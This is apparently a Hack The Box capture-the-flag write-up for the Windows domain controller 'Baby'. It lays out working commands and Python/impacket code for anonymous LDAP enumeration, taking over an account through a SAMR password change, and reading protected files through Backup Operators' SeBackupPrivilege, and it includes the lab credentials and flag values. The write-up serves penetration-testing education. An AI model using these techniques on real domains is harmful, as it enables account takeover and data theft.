Baby

date: 2025-11-18 difficulty: Easy os: Windows
active-directoryldappassword-must-changebackup-operatorssebackupprivilegewindows-server-2022
Baby pwned certificate

Baby — HTB Writeup

Machine Summary

Property Value
Name Baby
IP 10.129.234.71
OS Windows Server 2022 (Build 10.0.20348)
Domain baby.vl
Hostname BabyDC.baby.vl
Difficulty Easy
Key Topics LDAP anonymous enumeration, STATUS_PASSWORD_MUST_CHANGE, Backup Operators, SeBackupPrivilege

Overview

Baby is a Windows Active Directory Domain Controller. An anonymous LDAP bind exposes a user description containing a plaintext initial password. A non-visible domain user (Caroline.Robinson) has this password set with a must-change flag, allowing the password to be changed without prior authentication via SAMR. Caroline is a member of the Backup Operators built-in group, granting SeBackupPrivilege which permits reading any file on the system — including both flags — directly over SMB using the FILE_OPEN_FOR_BACKUP_INTENT flag.

Reconnaissance

Port Scan

nmap -Pn -sV -sC -p- -T4 --min-rate 2000 10.129.234.71

Key open ports:

Port Service Notes
53 DNS Simple DNS Plus
88 Kerberos AD authentication
389/636 LDAP/LDAPS Anonymous bind permitted
445 SMB Signing enabled and required
3389 RDP CN=BabyDC.baby.vl
5985 WinRM Evil-WinRM target

SMB signing is required, ruling out NTLM relay attacks. No web services present. Clock skew of approximately 7h47m was detected — relevant for Kerberos but not NTLM (the DC embeds its own timestamp in NTLM challenges).

Enumeration

Anonymous LDAP Bind

The DC permitted anonymous LDAP connections. A recursive search for user objects revealed 9 accounts across two OUs (OU=dev, OU=it). One account stood out:

from ldap3 import Server, Connection, SUBTREE
conn = Connection(Server('10.129.234.71', get_info='ALL'), auto_bind=True)
conn.search('DC=baby,DC=vl', '(&(objectClass=user)(objectCategory=person))',
            SUBTREE, attributes=['sAMAccountName', 'description'])

Teresa.BellOU=it:

description: Set initial password to BabyStart123!

Group Membership Enumeration

The anonymous LDAP query for standard user objects did not return Caroline.Robinson. However, querying the Backup Operators built-in group membership revealed her account:

conn.search('DC=baby,DC=vl',
    '(cn=Backup Operators)',
    SUBTREE,
    attributes=['member'])
# Returns: CN=Caroline Robinson,OU=it,DC=baby,DC=vl

Caroline.Robinson resides in OU=it but was hidden from the standard anonymous user enumeration ACL.

STATUS_PASSWORD_MUST_CHANGE Confirmation

An LDAP NTLM bind attempt for Caroline.Robinson with the discovered password returned LDAP error data code 773 (Microsoft-specific: ERROR_PASSWORD_MUST_CHANGE), confirming:

  1. The password BabyStart123! is correct for Caroline.Robinson.
  2. The account has a must-change-password flag set.

Note: SMB NTLM login via impacket SMBConnection.login() returned STATUS_LOGON_FAILURE (0xC000006D) for this case — some tools conflate this with a wrong password. The LDAP bind error code and SAMR change path are the definitive indicators.

Exploitation — User Flag

Password Reset via SAMR

The SAMR SamrUnicodeChangePasswordUser2 RPC call does not require prior authentication — it accepts the old password and sets a new one atomically. With the initial password known, the change was performed over RPC-SAMR:

python3 changepasswd.py 'baby.vl/Caroline.Robinson:BabyStart123!@10.129.234.71' \
    -newpass 'BabyHack2024!' \
    -protocol rpc-samr

Output:

[*] Changing the password of baby\Caroline.Robinson
[*] Password was changed successfully.

User Flag via SMB

With active credentials, the user flag was retrieved directly over SMB:

from impacket.smbconnection import SMBConnection
smb = SMBConnection('10.129.234.71', '10.129.234.71')
smb.login('Caroline.Robinson', 'BabyHack2024!', 'baby.vl')
# Read C$/Users/Caroline.Robinson/Desktop/user.txt

User Flag: 2df563e8ac7d83a07a53dc54193f89e4

Privilege Escalation — Root Flag

Backup Operators — SeBackupPrivilege

Caroline.Robinson is a member of the Backup Operators built-in group, which grants SeBackupPrivilege. This privilege allows the holder to bypass file ACLs for backup purposes. Over SMB, this is exercised using the FILE_OPEN_FOR_BACKUP_INTENT flag in the CreateFile / NtCreateFile call.

A standard SMB read of C:\Users\Administrator\Desktop\root.txt returned STATUS_ACCESS_DENIED (0xC0000022). Opening the same path with FILE_OPEN_FOR_BACKUP_INTENT succeeded:

from impacket.smbconnection import SMBConnection
smb = SMBConnection('10.129.234.71', '10.129.234.71')
smb.login('Caroline.Robinson', 'BabyHack2024!', 'baby.vl')

# FILE_OPEN_FOR_BACKUP_INTENT = 0x4000 combined in CreateOptions
tid = smb.connectTree('C$')
fid = smb.openFile(
    tid,
    r'\Users\Administrator\Desktop\root.txt',
    desiredAccess=0x20089,
    shareMode=0x7,
    creationOption=0x4020,   # FILE_OPEN_FOR_BACKUP_INTENT | FILE_NON_DIRECTORY_FILE
    creationDisposition=0x1  # FILE_OPEN
)
data = smb.readFile(tid, fid, 0, 1024)
print(data.decode())

Root Flag: 4d27bc99f6babec4ade47fbbbc839f38

Obstacles & Lessons Learned

NTLM vs LDAP Error Codes for PASSWORD_MUST_CHANGE

The most significant obstacle was incorrect diagnosis of the password state. Impacket’s SMBConnection.login() returns STATUS_LOGON_FAILURE (0xC000006D) when the DC sends STATUS_PASSWORD_MUST_CHANGE (0xC0000224) — at least under the SMBv3 + NTLMv2 negotiation impacket uses by default. This caused extensive wasted effort trying to confirm clock skew as a cause and attempting many alternative attack paths.

Lesson: When a password hint is found in LDAP (especially Set initial password to), test via LDAP NTLM bind rather than SMB login — LDAP returns a Microsoft-specific error code (data code 773) that unambiguously identifies the must-change state.

Clock Skew and Kerberos

The attacker machine had a ~7h47m clock skew relative to the DC. All Kerberos-based attacks (AS-REP roasting with GetNPUsers, Kerberoasting) would fail without clock sync, and timedatectl/ntpdate were not available or permitted. This limited authentication to NTLM and SAMR paths — which was sufficient for this machine.

Lesson: NTLM authentication is clock-skew-immune because the DC embeds its own timestamp in the NTLM challenge (NTLMSSP_AV_TIME), and the client uses that instead of its local clock. Always fall back to NTLM when Kerberos is unavailable.

Caroline.Robinson Not in Standard LDAP User Enum

The target user was not returned by a standard anonymous LDAP search for (&(objectClass=user)(objectCategory=person)). She appeared only when explicitly querying group membership of privileged groups (Backup Operators, IT). This is a common ACL pattern on AD deployments — individual user objects can have restricted read ACLs that prevent anonymous browsing.

Lesson: Always enumerate group members (especially privileged groups: Domain Admins, Backup Operators, Remote Desktop Users, Administrators) separately from the user object search.

Tools Used

Tool Purpose
nmap TCP/UDP port scanning, service fingerprinting
ldap3 (Python) Anonymous LDAP enumeration, NTLM bind testing
impacket changepasswd.py SAMR password change for must-change accounts
impacket SMBConnection SMB file access with FILE_OPEN_FOR_BACKUP_INTENT
impacket secretsdump NTDS.dit offline hash extraction (attempted)